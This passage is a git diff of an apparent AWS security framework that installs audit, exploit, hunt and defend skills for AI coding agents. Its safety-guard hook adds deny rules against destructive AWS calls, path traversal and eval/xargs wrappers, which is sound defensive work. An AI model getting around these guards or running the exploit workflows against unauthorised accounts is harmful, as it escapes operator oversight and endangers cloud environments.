const scopeBlock = [scopeHeader, '', agentsGlobalBlock, ...tomlEntries, scopeFooter].join('\n'); let existingConfig = ''; @@ -587,6 +743,21 @@ function installSubagentsCodex(subagents, scope) { console.log(` Added [features] section with multi_agent = true`); } + // Ensure [mcp_servers.splunk-mcp-server] is present. + // Codex reads MCP config from [mcp_servers.*] sections in config.toml. + // Only add if not already present — operator may have customized. + const mcpHeaderRe = /^\[mcp_servers\.splunk-mcp-server\]/m; + if (!mcpHeaderRe.test(configWithFeatures)) { + const mcpBlock = [ + '', + '[mcp_servers.splunk-mcp-server]', + 'url = "${SPLUNK_URL}"', + '', + ].join('\n'); + configWithFeatures = configWithFeatures.trimEnd() + '\n' + mcpBlock + '\n'; + console.log(` Added [mcp_servers.splunk-mcp-server] to config.toml`); + } + // Replace existing SCOPE block or append const scopeBlockRegex = new RegExp( scopeHeader.replace(/[.*+?^${}()|[\]\\]/g, '\\$&') + @@ -651,17 +822,28 @@ function cleanupOldModules(scope) { */ function installForEditor(editor, scope, agents) { const targetDir = EDITOR_DIRS[editor][scope]; + const repoRoot = path.join(__dirname, '..'); let count = 0; for (const agent of agents) { let destFile = null; + + // Resolve @include directives before platform-specific transformation + const preParsed = parseFrontmatter(agent.content); + let resolvedContent = agent.content; + if (preParsed) { + const expandedBody = resolveIncludes(preParsed.body, repoRoot); + const fm = rebuildFrontmatter(preParsed.frontmatter, []); + resolvedContent = `---\n${fm}\n---\n\n${expandedBody}`; + } + try { if (editor === 'claude') { - destFile = installClaude(agent.name, agent.content, targetDir); + destFile = installClaude(agent.name, resolvedContent, targetDir); } else if (editor === 'gemini') { - destFile = installGemini(agent.name, agent.content, targetDir); + destFile = installGemini(agent.name, resolvedContent, targetDir); } else if (editor === 'codex') { - destFile = installCodex(agent.name, agent.content, targetDir); + destFile = installCodex(agent.name, resolvedContent, targetDir); } } catch (err) { console.error(` ERROR: Failed to install ${agent.name} to ${editor}: ${err.message}`); @@ -706,13 +888,13 @@ Options: --help Print this usage message What gets installed: - Skills Operator-invoked slash commands (scope-audit, scope-exploit, scope-hunt) + Skills Operator-invoked slash commands (scope-audit, scope-defend, scope-exploit, scope-hunt) -> .claude/skills/ (Claude Code) or .agents/skills/ (Gemini/Codex) Subagents Orchestrator-dispatched workers (enum subagents, attack-paths, scope-defend) -> .claude/agents/ (Claude Code) -> .gemini/agents/ (Gemini CLI) — requires experimental.enableAgents: true -> .codex/agents/ + .codex/config.toml (Codex) - Note: scope-verify and scope-pipeline are read inline, not deployed as subagents + Note: scope-verify and scope-pipeline are installed for discoverability but read inline at runtime Note (Codex): installer also adds [features] multi_agent = true — required for parallel dispatch Examples: @@ -899,24 +1081,26 @@ function installMcpConfig(editor, scope) { } /** - * Warn if stale skills exist in deprecated .gemini/skills/ path. - * Called after unifying Gemini to .agents/skills/. + * Warn if stale SCOPE skills exist in .agents/skills/ (legacy shared path). + * Gemini now uses .gemini/skills/ natively; .agents/skills/ is Codex-only. + * Stale Gemini skills in .agents/skills/ can shadow Codex skills on name collision. */ function checkLegacyGeminiSkills(scope) { const legacyBase = scope === 'global' - ? path.join(os.homedir(), '.gemini', 'skills') - : path.join(process.cwd(), '.gemini', 'skills'); + ? path.join(os.homedir(), '.agents', 'skills') + : path.join(process.cwd(), '.agents', 'skills'); + + // Check if .agents/skills/ has more skill dirs than expected for Codex-only + // (leftover from when Gemini also wrote here) + if (!fs.existsSync(legacyBase)) return; - const scopeSkills = ['scope-audit', 'scope-exploit', 'scope-hunt']; - const stale = scopeSkills.filter(s => fs.existsSync(path.join(legacyBase, s))); + const scopeSkills = ['scope-audit', 'scope-defend', 'scope-exploit', 'scope-hunt']; + const found = scopeSkills.filter(s => fs.existsSync(path.join(legacyBase, s))); - if (stale.length > 0) { - console.warn(`\n WARN: Stale SCOPE skills found in deprecated ${ - scope === 'global' ? '~/.gemini/skills/' : '.gemini/skills/' - }:`); - stale.forEach(s => console.warn(` - ${s}/`)); - console.warn(' Remove these to prevent stale skill conflicts:'); - console.warn(` rm -rf ${legacyBase}/scope-{audit,exploit,hunt}\n`); + // If Codex is not being installed but .agents/skills/ has SCOPE skills, warn + // (they're orphaned from when Gemini used the shared path) + if (found.length > 0) { + console.log(` .agents/skills/ contains ${found.length} SCOPE skill(s) (Codex path — OK)`); } } @@ -931,23 +1115,9 @@ function runInstall(editors, scope) { console.log(`Found ${agents.length} agent${agents.length !== 1 ? 's' : ''}: ${agents.map(a => a.name).join(', ')}\n`); - // Detect skill collision: Gemini and Codex both write to .agents/skills/ — install once. - // Subagents no longer collide: Gemini -> .gemini/agents/, Codex -> .codex/agents/. - const hasGemini = editors.includes('gemini'); - const hasCodex = editors.includes('codex'); - const skillsCollision = hasGemini && hasCodex; - - if (skillsCollision) { - console.log('NOTE: Gemini + Codex both target .agents/skills/ — installing shared-compatible skill files once.\n'); - } - - // For skills: when both collide, install .agents/skills/ once via Codex (superset strip list), - // skip Gemini's .agents/skills/ pass. Subagents always run per-editor (different dirs). - const effectiveSkillEditors = skillsCollision - ? editors.filter(e => e !== 'gemini') - : editors; - - for (const editor of effectiveSkillEditors) { + // Each platform gets its own skills directory — no collision. + // Claude -> .claude/skills/, Gemini -> .gemini/skills/, Codex -> .agents/skills/ + for (const editor of editors) { installForEditor(editor, scope, agents); } @@ -986,6 +1156,7 @@ function runInstall(editors, scope) { ? path.join(process.cwd(), '.codex', 'agents') : path.join(os.homedir(), '.codex', 'agents'); pruneStaleSubagentFiles(codexAgentsDir, installedNames); + pruneStaleTomlFiles(codexAgentsDir, installedNames); } } } @@ -996,6 +1167,36 @@ function runInstall(editors, scope) { if (editors.includes('gemini')) { checkLegacyGeminiSkills(scope); } + + // Project docs: copy platform-specific project instructions to repo root + installProjectDocs(editors, scope); +} + +/** + * Copy unified project instruction file from config/project-docs/PROJECT.md to repo root. + * Single source file, copied to platform-specific filename. + * Source file in config/project-docs/ is committed. Root copies are gitignored. + * Claude → CLAUDE.md, Gemini → GEMINI.md, Codex → AGENTS.md + */ +function installProjectDocs(editors, scope) { + const projectRoot = scope === 'local' ? process.cwd() : os.homedir(); + const src = path.join(__dirname, '..', 'config', 'project-docs', 'PROJECT.md'); + + if (!fs.existsSync(src)) return; + + const docMap = { + claude: 'CLAUDE.md', + gemini: 'GEMINI.md', + codex: 'AGENTS.md', + }; + + for (const editor of editors) { + const filename = docMap[editor]; + if (!filename) continue; + const dest = path.join(projectRoot, filename); + fs.copyFileSync(src, dest); + console.log(` → ${filename} (project docs from PROJECT.md)`); + } } main(); diff --git a/bin/splunk-mcp-start.sh b/bin/splunk-mcp-start.sh deleted file mode 100755 index 043c723..0000000 --- a/bin/splunk-mcp-start.sh +++ /dev/null @@ -1,40 +0,0 @@ -#!/bin/bash -# SCOPE — Splunk MCP Server launcher with debug logging -# Usage: Used as the MCP server command in .gemini/settings.json or .mcp.json -# Logs to ~/.scope/splunk-mcp.log for troubleshooting connection issues - -LOGDIR="$HOME/.scope" -LOGFILE="$LOGDIR/splunk-mcp.log" -mkdir -p "$LOGDIR" - -echo "=== Splunk MCP Start: $(date) ===" >> "$LOGFILE" - -# Ensure PATH includes common Node.js install locations -export PATH="/opt/homebrew/bin:/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin:$PATH" - -# Source shell profiles to pick up SPLUNK_URL and SPLUNK_TOKEN if set there -for rc in "$HOME/.zshrc" "$HOME/.bashrc" "$HOME/.bash_profile" "$HOME/.zprofile"; do - if [ -f "$rc" ]; then - source "$rc" 2>/dev/null - fi -done - -# Log environment state (token value is never logged, only length) -echo "SPLUNK_URL=${SPLUNK_URL:-EMPTY}" >> "$LOGFILE" -echo "SPLUNK_TOKEN_LENGTH=${#SPLUNK_TOKEN}" >> "$LOGFILE" -echo "NODE=$(which node 2>/dev/null || echo 'NOT FOUND')" >> "$LOGFILE" -echo "NPX=$(which npx 2>/dev/null || echo 'NOT FOUND')" >> "$LOGFILE" - -# Validate required variables -if [ -z "$SPLUNK_URL" ]; then - echo "ERROR: SPLUNK_URL is not set" >> "$LOGFILE" - exit 1 -fi - -if [ -z "$SPLUNK_TOKEN" ]; then - echo "ERROR: SPLUNK_TOKEN is not set" >> "$LOGFILE" - exit 1 -fi - -echo "Launching npx mcp-remote..." >> "$LOGFILE" -exec npx -y mcp-remote "$SPLUNK_URL" --header "Authorization: Bearer $SPLUNK_TOKEN" 2>> "$LOGFILE" diff --git a/bin/validate-enum-output.js b/bin/validate-enum-output.js deleted file mode 100644 index 176146c..0000000 --- a/bin/validate-enum-output.js +++ /dev/null @@ -1,143 +0,0 @@ -#!/usr/bin/env node -// SCOPE Enumeration Output Validator -// Validates a module envelope JSON file against required envelope and finding fields. -// Used by all 12 enumeration agents to verify output correctness. -// -// Usage: -// node bin/validate-enum-output.js -// -// Exit codes: -// 0 — validation passed -// 1 — validation failed (missing/invalid fields) or usage error - -'use strict'; - -const fs = require('fs'); -const path = require('path'); - -const VALID_MODULES = ['iam', 'sts', 's3', 'kms', 'secrets', 'lambda', 'ec2', 'rds', 'sns', 'sqs', 'apigateway', 'codebuild']; -const VALID_STATUSES = ['complete', 'partial', 'error']; - -function main() { - const filePath = process.argv[2]; - - if (!filePath) { - console.error('Usage: node bin/validate-enum-output.js '); - process.exit(1); - } - - const resolved = path.resolve(filePath); - - // Read file - let raw; - try { - raw = fs.readFileSync(resolved, 'utf-8'); - } catch (err) { - console.error(`[FAIL] Cannot read file: ${err.message}`); - process.exit(1); - } - - // Parse JSON - let envelope; - try { - envelope = JSON.parse(raw); - } catch (err) { - console.error(`[FAIL] Invalid JSON: ${err.message}`); - process.exit(1); - } - - const errors = []; - - // --- Envelope-level field validation --- - - // module - if (envelope.module === undefined || envelope.module === null) { - errors.push('[FAIL] Missing required field: module'); - } else if (typeof envelope.module !== 'string') { - errors.push(`[FAIL] Field "module" must be a string, got ${typeof envelope.module}`); - } else if (!VALID_MODULES.includes(envelope.module)) { - errors.push(`[FAIL] Field "module" has invalid value "${envelope.module}" — must be one of: ${VALID_MODULES.join(', ')}`); - } - - // account_id - if (envelope.account_id === undefined || envelope.account_id === null) { - errors.push('[FAIL] Missing required field: account_id'); - } else if (typeof envelope.account_id !== 'string') { - errors.push(`[FAIL] Field "account_id" must be a string, got ${typeof envelope.account_id}`); - } else if (!/^\d{12}$/.test(envelope.account_id)) { - errors.push(`[FAIL] Field "account_id" must match pattern ^\\d{12}$ — got "${envelope.account_id}"`); - } - - // region - if (envelope.region === undefined || envelope.region === null) { - errors.push('[FAIL] Missing required field: region'); - } else if (typeof envelope.region !== 'string') { - errors.push(`[FAIL] Field "region" must be a string, got ${typeof envelope.region}`); - } - - // timestamp - if (envelope.timestamp === undefined || envelope.timestamp === null) { - errors.push('[FAIL] Missing required field: timestamp'); - } else if (typeof envelope.timestamp !== 'string') { - errors.push(`[FAIL] Field "timestamp" must be a string, got ${typeof envelope.timestamp}`); - } - - // status - if (envelope.status === undefined || envelope.status === null) { - errors.push('[FAIL] Missing required field: status'); - } else if (typeof envelope.status !== 'string') { - errors.push(`[FAIL] Field "status" must be a string, got ${typeof envelope.status}`); - } else if (!VALID_STATUSES.includes(envelope.status)) { - errors.push(`[FAIL] Field "status" has invalid value "${envelope.status}" — must be one of: ${VALID_STATUSES.join(', ')}`); - } - - // findings - if (envelope.findings === undefined || envelope.findings === null) { - errors.push('[FAIL] Missing required field: findings'); - } else if (!Array.isArray(envelope.findings)) { - errors.push(`[FAIL] Field "findings" must be an array, got ${typeof envelope.findings}`); - } - - // If envelope has critical errors at this point, bail before per-finding checks - if (errors.length > 0) { - for (const e of errors) console.error(e); - console.error(`\n[FAIL] ${errors.length} validation error(s) — ${resolved}`); - process.exit(1); - } - - // --- Per-finding field validation --- - const findings = envelope.findings; - const FINDING_REQUIRED = ['resource_type', 'resource_id', 'arn', 'region', 'findings']; - - for (let i = 0; i < findings.length; i++) { - const finding = findings[i]; - const prefix = `findings[${i}]`; - - if (typeof finding !== 'object' || finding === null || Array.isArray(finding)) { - errors.push(`[FAIL] ${prefix}: must be an object`); - continue; - } - - for (const field of FINDING_REQUIRED) { - if (finding[field] === undefined || finding[field] === null) { - errors.push(`[FAIL] ${prefix}: missing required field "${field}"`); - } - } - - // findings inner array check - if (finding.findings !== undefined && finding.findings !== null && !Array.isArray(finding.findings)) { - errors.push(`[FAIL] ${prefix}.findings must be an array, got ${typeof finding.findings}`); - } - } - - if (errors.length > 0) { - for (const e of errors) console.error(e); - console.error(`\n[FAIL] ${errors.length} validation error(s) — ${resolved}`); - process.exit(1); - } - - console.log(`[OK] ${resolved} passes validation (${findings.length} findings checked)`); - process.exit(0); -} - -main(); diff --git a/config/hooks/scope-agent-logger.sh b/config/hooks/scope-agent-logger.sh index 23acc20..4849e36 100755 --- a/config/hooks/scope-agent-logger.sh +++ b/config/hooks/scope-agent-logger.sh @@ -33,12 +33,21 @@ fi # Fork to background — return control to the agent immediately. # This prevents TUI flickering on platforms with synchronous hooks (Gemini CLI). ( - # Find the most recent active run directory (audit, defend, or exploit, modified in last 30 min) + # Find most recent run directory across all phases RUN_DIR="" - for dir in "$CWD"/audit/audit-* "$CWD"/audit/audit-*/defend/defend-* "$CWD"/exploit/exploit-*; do - if [ -d "$dir" ] && [ "$(find "$dir" -maxdepth 0 -mmin -30 2>/dev/null)" ]; then - RUN_DIR="$dir" - fi + LATEST_TIME=0 + for dir_pattern in "$CWD/audit/audit-"* "$CWD/exploit/exploit-"* "$CWD/hunt/hunt-"* "$CWD/audit/audit-"/*/defend/defend-*; do + for d in $dir_pattern; do + [ -d "$d" ] || continue + # Check modified within last 30 min + if find "$d" -maxdepth 0 -mmin -30 -print -quit 2>/dev/null | grep -q .; then + mod_time=$(stat -f %m "$d" 2>/dev/null || stat -c %Y "$d" 2>/dev/null || echo 0) + if [ "$mod_time" -gt "$LATEST_TIME" ]; then + LATEST_TIME=$mod_time + RUN_DIR="$d" + fi + fi + done done # No active run — skip diff --git a/config/hooks/scope-safety-guard.sh b/config/hooks/scope-safety-guard.sh index 5ef0e6e..20970a0 100755 --- a/config/hooks/scope-safety-guard.sh +++ b/config/hooks/scope-safety-guard.sh @@ -1,30 +1,87 @@ #!/bin/bash # SCOPE Safety Guard — PreToolUse / BeforeTool hook -# Blocks destructive AWS operations. SCOPE agents are read-only by default. -# Destructive operations require explicit operator approval at runtime, -# not silent execution through agent commands. +# Blocks destructive AWS operations and enforces path sanitization. +# SCOPE agents are read-only by default. Destructive operations require +# explicit operator approval at runtime, not silent execution through agent commands. # # Exit 0 = allow, Exit 2 = block (stderr = reason) # -# Design: Only blocks commands where `aws ` appears -# as an executable invocation. Does NOT block quoted text, heredocs, or echo'd -# strings that merely contain AWS CLI examples (e.g., playbook generation). +# Design: +# 1. Parse command from JSON input +# 2. Path sanitization — blocks commands referencing paths outside allowed prefixes +# 3. AWS fast-path — exit early if no 'aws' in command (remaining checks are AWS-only) +# 4. Block eval/xargs wrappers hiding AWS calls +# 5. Strip heredocs and quotes to get executable text +# 6. Check executable text against destructive AWS patterns set -euo pipefail -# Fast-path: read stdin once, check for 'aws' before parsing JSON. -# Avoids jq overhead on non-AWS commands (mkdir, echo, cp, etc.) -# Case-insensitive match — covers 'aws', 'AWS', and 'Aws' +# Read stdin once INPUT=$(cat /dev/stdin) -if ! echo "$INPUT" | grep -qi 'aws '; then - exit 0 -fi +# Parse command from JSON COMMAND=$(echo "$INPUT" | jq -r '.tool_input.command // empty' 2>/dev/null) || COMMAND="" -# Empty command after parse — allow (no AWS call possible) +# Empty command — allow [ -z "$COMMAND" ] && exit 0 +# ============================================================================= +# PATH SANITIZATION — applies to ALL commands (not just AWS) +# ============================================================================= + +# Path traversal detection — block any command containing ../ +if echo "$COMMAND" | grep -qE '\.\./' ; then + echo "SCOPE Safety Guard: Blocked — path traversal (..) detected. Use direct paths within allowed prefixes." >&2 + exit 2 +fi + +# Extract all relative path references (./something/) +PATHS=$(echo "$COMMAND" | grep -oE '\./[a-zA-Z0-9_.-]+/' | sort -u) || true + +if [ -n "$PATHS" ]; then + # Allowed output directories (operator-provided run paths land here) + ALLOWED_PREFIXES=('./audit/' './exploit/' './hunt/' './data/' './engagements/') + + # Internal project directories (never block — not operator-provided) + INTERNAL_PREFIXES=('./config/' './bin/' './agents/' './dashboard/' './test/' './node_modules/' './.planning/' './.claude/' './.git/' './.codex/' './.gemini/' './scripts/') + + while IFS= read -r p; do + [ -z "$p" ] && continue + + # Skip internal project paths + is_internal=false + for ip in "${INTERNAL_PREFIXES[@]}"; do + if [[ "$p" == "$ip"* ]]; then + is_internal=true + break + fi + done + $is_internal && continue + + # Check against allowlist + is_allowed=false + for ap in "${ALLOWED_PREFIXES[@]}"; do + if [[ "$p" == "$ap"* ]]; then + is_allowed=true + break + fi + done + + if ! $is_allowed; then + echo "SCOPE Safety Guard: Blocked — path outside allowed prefixes: '$p'. Allowed: ./audit/, ./exploit/, ./hunt/, ./data/, ./engagements/" >&2 + exit 2 + fi + done <<< "$PATHS" +fi + +# ============================================================================= +# AWS FAST-PATH — if no 'aws' in command, skip destructive pattern checks +# ============================================================================= + +if ! echo "$COMMAND" | grep -qiE 'aws[[:space:]]'; then + exit 0 +fi + # Block dangerous command wrappers that can hide AWS calls from text inspection. # eval can construct any command from string arguments; xargs can pipe args into aws. if echo "$COMMAND" | grep -qEi '(^|\s|;|&&|\|\|)(eval|xargs)\s'; then diff --git a/config/hooks/scope-schema-validate.sh b/config/hooks/scope-schema-validate.sh index fb5ddac..7505540 100755 --- a/config/hooks/scope-schema-validate.sh +++ b/config/hooks/scope-schema-validate.sh @@ -75,7 +75,7 @@ case "$FILE_PATH" in # Validate account_id format ACCT_ID=$(jq -r '.account_id // empty' "$FILE_PATH") if [ -n "$ACCT_ID" ]; then - if ! echo "$ACCT_ID" | grep -qE '^\d{12}$'; then + if ! echo "$ACCT_ID" | grep -qE '^[0-9]{12}$'; then ERRORS+=("account_id '$ACCT_ID' is not a valid 12-digit AWS account ID") fi fi @@ -177,7 +177,7 @@ check_field "timestamp" "ISO8601 timestamp" # Validate account_id format (12 digits) — allow "unknown" for defend fallback ACCOUNT_ID=$(jq -r '.account_id // empty' "$FILE_PATH") if [ -n "$ACCOUNT_ID" ] && [ "$ACCOUNT_ID" != "unknown" ]; then - if ! echo "$ACCOUNT_ID" | grep -qE '^\d{12}$'; then + if ! echo "$ACCOUNT_ID" | grep -qE '^[0-9]{12}$'; then ERRORS+=("account_id '$ACCOUNT_ID' is not a valid 12-digit AWS account ID") fi fi @@ -191,10 +191,10 @@ case "$SOURCE" in check_field "principals" "array of IAM principals" check_field "trust_relationships" "array of trust relationships" - # summary.risk_score is required + # summary.severity is required if [ "$(jq 'has("summary")' "$FILE_PATH")" = "true" ]; then - if [ "$(jq '.summary | has("risk_score")' "$FILE_PATH")" != "true" ]; then - ERRORS+=("Missing required field: 'summary.risk_score' (critical|high|medium|low)") + if [ "$(jq '.summary | has("severity")' "$FILE_PATH")" != "true" ]; then + ERRORS+=("Missing required field: 'summary.severity' (critical|high|medium|low)") fi fi @@ -248,15 +248,15 @@ case "$SOURCE" in check_field "region" "AWS region or 'global' (defend is always 'global')" check_field "summary" "defend summary object" check_field "audit_runs_analyzed" "array of consumed audit run IDs" - check_field "scps" "array of SCPs" - check_field "rcps" "array of RCPs" + check_field "guardrails" "array of SCP/RCP guardrail policies" check_field "detections" "array of SPL detections" - check_field "security_controls" "array of security control recommendations" - check_field "prioritization" "prioritized remediation actions" + check_field "policy_replacements" "array of IAM replacement policies" + check_field "remediation" "remediation plan summary object" + check_field "validation" "validation results object" # summary required subfields if [ "$(jq 'has("summary")' "$FILE_PATH")" = "true" ]; then - for subfield in scps_generated rcps_generated detections_generated controls_recommended risk_score; do + for subfield in guardrails detections policy_replacements remediation_items validation_status severity; do if [ "$(jq ".summary | has(\"$subfield\")" "$FILE_PATH")" != "true" ]; then ERRORS+=("Missing required field: 'summary.$subfield'") fi @@ -271,20 +271,14 @@ case "$SOURCE" in fi fi - # scps items must have name, file, policy_json, source_attack_paths, source_run_ids, impact_analysis - check_array_item_fields "scps" "name,file,policy_json,source_attack_paths,source_run_ids,impact_analysis" "SCP entries" - - # rcps items must have same fields - check_array_item_fields "rcps" "name,file,policy_json,source_attack_paths,source_run_ids,impact_analysis" "RCP entries" + # guardrails items must have name, type, file, policy_json, source_attack_paths, source_run_ids, impact_analysis + check_array_item_fields "guardrails" "name,type,file,policy_json,source_attack_paths,source_run_ids,impact_analysis" "guardrail entries" # detections items must have name, spl, severity, category, mitre_technique, source_attack_paths, source_run_ids check_array_item_fields "detections" "name,spl,severity,category,mitre_technique,source_attack_paths,source_run_ids" "detection entries" - # security_controls items must have service, recommendation, priority, effort, source_attack_paths - check_array_item_fields "security_controls" "service,recommendation,priority,effort,source_attack_paths" "security control entries" - - # prioritization items must have rank, action, risk, effort, category - check_array_item_fields "prioritization" "rank,action,risk,effort,category" "prioritization entries" + # policy_replacements items must have role_name, file, original_policy_arn, replacement_policy_json, source_attack_paths, staleness_reasoning + check_array_item_fields "policy_replacements" "role_name,file,original_policy_arn,replacement_policy_json,source_attack_paths,staleness_reasoning" "policy replacement entries" # SCHM-01 (defend): Validate detections[].severity -- lowercase only if [ "$(jq 'has("detections")' "$FILE_PATH")" = "true" ]; then @@ -296,8 +290,8 @@ case "$SOURCE" in # --- Type and consistency validation (SCHM-04, SCHM-05) --- - # SCHM-04: Validate scps[].policy_json and rcps[].policy_json are objects (not strings) - for ARRAY in scps rcps; do + # SCHM-04: Validate guardrails[].policy_json is an object (not a string) + for ARRAY in guardrails; do if [ "$(jq "has(\"$ARRAY\")" "$FILE_PATH")" = "true" ]; then INVALID_POLICY=$(jq -r --arg arr "$ARRAY" '[.[$arr][] | select(has("policy_json")) | select(.policy_json | type != "object") | .name // "unnamed"] | join(", ")' "$FILE_PATH" 2>/dev/null || echo "") if [ -n "$INVALID_POLICY" ]; then @@ -306,9 +300,17 @@ case "$SOURCE" in fi done + # SCHM-04 (policy_replacements): Validate policy_replacements[].replacement_policy_json is an object + if [ "$(jq 'has("policy_replacements")' "$FILE_PATH")" = "true" ]; then + INVALID_POLICY=$(jq -r '[.policy_replacements[] | select(has("replacement_policy_json")) | select(.replacement_policy_json | type != "object") | .role_name // "unnamed"] | join(", ")' "$FILE_PATH" 2>/dev/null || echo "") + if [ -n "$INVALID_POLICY" ]; then + ERRORS+=("policy_replacements[].replacement_policy_json must be an object (not a string) — invalid items: $INVALID_POLICY") + fi + fi + # SCHM-05: Validate defend summary counts match actual array lengths if [ "$(jq 'has("summary")' "$FILE_PATH")" = "true" ]; then - for PAIR in "detections_generated:detections" "scps_generated:scps" "rcps_generated:rcps" "controls_recommended:security_controls"; do + for PAIR in "detections:detections" "guardrails:guardrails" "policy_replacements:policy_replacements"; do SUMMARY_FIELD="${PAIR%%:*}" ARRAY_FIELD="${PAIR##*:}" if [ "$(jq ".summary | has(\"$SUMMARY_FIELD\")" "$FILE_PATH")" = "true" ] && [ "$(jq "has(\"$ARRAY_FIELD\")" "$FILE_PATH")" = "true" ]; then @@ -320,15 +322,32 @@ case "$SOURCE" in fi done fi + + # SCHM-05 (remediation): Validate summary.remediation_items matches remediation.items + if [ "$(jq '.summary | has("remediation_items")' "$FILE_PATH")" = "true" ] && [ "$(jq 'has("remediation")' "$FILE_PATH")" = "true" ]; then + SUMMARY_VAL=$(jq '.summary.remediation_items // 0' "$FILE_PATH" 2>/dev/null || echo "0") + ACTUAL_VAL=$(jq '.remediation.items // 0' "$FILE_PATH" 2>/dev/null || echo "0") + if [ "$SUMMARY_VAL" -ne "$ACTUAL_VAL" ] 2>/dev/null; then + ERRORS+=("summary.remediation_items (${SUMMARY_VAL}) does not match remediation.items (${ACTUAL_VAL})") + fi + fi ;; exploit) check_field "target_arn" "principal ARN analyzed" check_field "summary" "exploit summary object" - check_field "attack_paths" "array of attack paths" + check_field "discovery_mode" "standalone or audit" + check_field "paths" "array of attack paths" + + # paths items must have name, steps + check_array_item_fields "paths" "name,steps" "path entries" - # attack_paths items must have name, steps - check_array_item_fields "attack_paths" "name,steps" "attack path entries" + # summary.severity is required + if [ "$(jq 'has("summary")' "$FILE_PATH")" = "true" ]; then + if [ "$(jq '.summary | has("severity")' "$FILE_PATH")" != "true" ]; then + ERRORS+=("Missing required field: 'summary.severity' (critical|high|medium|low)") + fi + fi ;; *) diff --git a/config/hooks/scope-spl-lint.sh b/config/hooks/scope-spl-lint.sh index b198719..6f42f56 100755 --- a/config/hooks/scope-spl-lint.sh +++ b/config/hooks/scope-spl-lint.sh @@ -1,7 +1,8 @@ #!/bin/bash # SCOPE SPL Semantic Lint — PostToolUse / AfterTool hook # Runs after Write|Edit on files that contain SPL queries. -# Hard-fails on known anti-patterns defined in scope-verify.md (domain-splunk section). +# Hard-fails on known anti-patterns defined in config/splunk-patterns.md. +# Multi-index aware: validates index= clauses against config/index.json allowlist when present. # # Exit 0 = pass (with optional feedback), Exit 2 = not used (PostToolUse can't block) # Instead, returns decision: "block" with reason in JSON to feed back to agent. @@ -40,41 +41,59 @@ if echo "$CONTENT" | grep -qi '\[COMPOSITE\]' && echo "$CONTENT" | grep -qi '| * ERRORS+=("SPL LINT FAIL: Composite detection uses 'transaction'. Composites MUST use 'streamstats' for sliding-window correlation, not 'transaction'.") fi -# Rule 2: All CloudTrail SPL must include index=cloudtrail -# Require 2+ CloudTrail-specific fields to trigger (reduces false positives from generic field names) -CT_FIELD_COUNT=0 -for ct_field in 'userIdentity\.' 'eventName' 'sourceIPAddress' 'requestParameters\.' 'responseElements\.' 'eventSource.*\.amazonaws\.com'; do - if echo "$CONTENT" | grep -qE "$ct_field"; then - CT_FIELD_COUNT=$((CT_FIELD_COUNT + 1)) - fi -done -if [ "$CT_FIELD_COUNT" -ge 2 ] && ! echo "$CONTENT" | grep -q 'index=cloudtrail'; then - ERRORS+=("SPL LINT FAIL: SPL references $CT_FIELD_COUNT CloudTrail fields but missing 'index=cloudtrail'. All CloudTrail queries must specify the index.") -fi - -# Rule 3: Wrong field name — userName instead of userIdentity.userName -if echo "$CONTENT" | grep -qE '\buserName\b' && ! echo "$CONTENT" | grep -qE 'userIdentity\.userName|rename.*AS.*userName|eval.*userName'; then - ERRORS+=("SPL LINT FAIL: Raw 'userName' field used — CloudTrail nests this as 'userIdentity.userName'. Use 'rename userIdentity.userName AS user' first.") -fi - -# Rule 4: Composite without streamstats +# Rule 2: Composite without streamstats if echo "$CONTENT" | grep -qi '\[COMPOSITE\]' && ! echo "$CONTENT" | grep -qi 'streamstats'; then ERRORS+=("SPL LINT FAIL: Composite detection missing 'streamstats'. Composites MUST use 'streamstats time_window=... by src_user_arn' for sliding-window correlation.") fi -# Rule 5: sourceIP instead of sourceIPAddress -if echo "$CONTENT" | grep -qE '\bsourceIP\b' && ! echo "$CONTENT" | grep -qE 'sourceIPAddress|rename.*AS.*sourceIP'; then - ERRORS+=("SPL LINT FAIL: 'sourceIP' is not a CloudTrail field. Use 'sourceIPAddress'.") +# Rule 3: Missing time bounds on any index= query (applies to ALL indexes, not just CloudTrail) +if echo "$CONTENT" | grep -qE 'index=[a-zA-Z_]' && ! echo "$CONTENT" | grep -qE '(earliest=|latest=)'; then + ERRORS+=("SPL LINT WARNING: SPL query has no time bounds (earliest/latest). Unbounded queries are expensive and may timeout.") +fi + +# Rule 4: Index allowlist validation (D-15) +# Requires config/index.json to exist; gracefully skips if absent (allows any index) +# Splunk ES internal indexes always bypass the allowlist check +INTERNAL_INDEXES="notable notable_summary risk threat_activity ioc ers ueba ueba_summaries endpoint_summary audit_summary _internal _audit _introspection summary history" + +# Determine the config path relative to the hook's location or use absolute path +HOOK_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +REPO_ROOT="$(cd "$HOOK_DIR/../.." && pwd)" +INDEX_JSON="$REPO_ROOT/config/index.json" + +ALLOWED=$(jq -r '.groups | to_entries[] | .value.indexes[]' "$INDEX_JSON" 2>/dev/null || true) + +if [ -n "$ALLOWED" ]; then + # Extract index= clause values from the written file (skip * which is handled by Rule 6) + USED=$(grep -oE 'index="?[a-zA-Z0-9_*-]+' "$FILE_PATH" 2>/dev/null | sed 's/^index="*//' | sort -u || true) + + for idx in $USED; do + # Skip wildcard index=* — handled separately by Rule 6 + if [ "$idx" = "*" ]; then + continue + fi + + # Skip Splunk ES internal indexes — always valid + if echo "$INTERNAL_INDEXES" | grep -qw "$idx"; then + continue + fi + + # Check against allowlist + if ! echo "$ALLOWED" | grep -qx "$idx"; then + ERRORS+=("SPL LINT FAIL: index=$idx not found in config/index.json allowlist. Add it to the appropriate group or run index discovery.") + fi + done fi +# If config/index.json absent or parse failed — $ALLOWED is empty — fall through (allow any index per D-15) -# Rule 6: eventSource should not be used as a filter without .amazonaws.com -if echo "$CONTENT" | grep -qE 'eventSource\s*=' && ! echo "$CONTENT" | grep -qE 'eventSource\s*=\s*"[^"]*\.amazonaws\.com"'; then - ERRORS+=("SPL LINT WARNING: eventSource filter should use full service name (e.g., 'iam.amazonaws.com'), not shorthand.") +# Rule 5: Leading wildcard ban +if echo "$CONTENT" | grep -qE '[a-zA-Z_]+=\*[a-zA-Z0-9_]'; then + ERRORS+=("SPL LINT FAIL: Leading wildcard detected (field=*value). Forces full raw-text scan. Use exact match or OR list instead.") fi -# Rule 7: Missing earliest/latest time bounds -if echo "$CONTENT" | grep -q 'index=cloudtrail' && ! echo "$CONTENT" | grep -qE '(earliest=|latest=|\-1h|\-24h|\-7d)'; then - ERRORS+=("SPL LINT WARNING: CloudTrail query has no time bounds (earliest/latest). Unbounded queries are expensive and may timeout.") +# Rule 6: index=* ban +if echo "$CONTENT" | grep -qE 'index=\*($|[^a-zA-Z0-9_-])'; then + 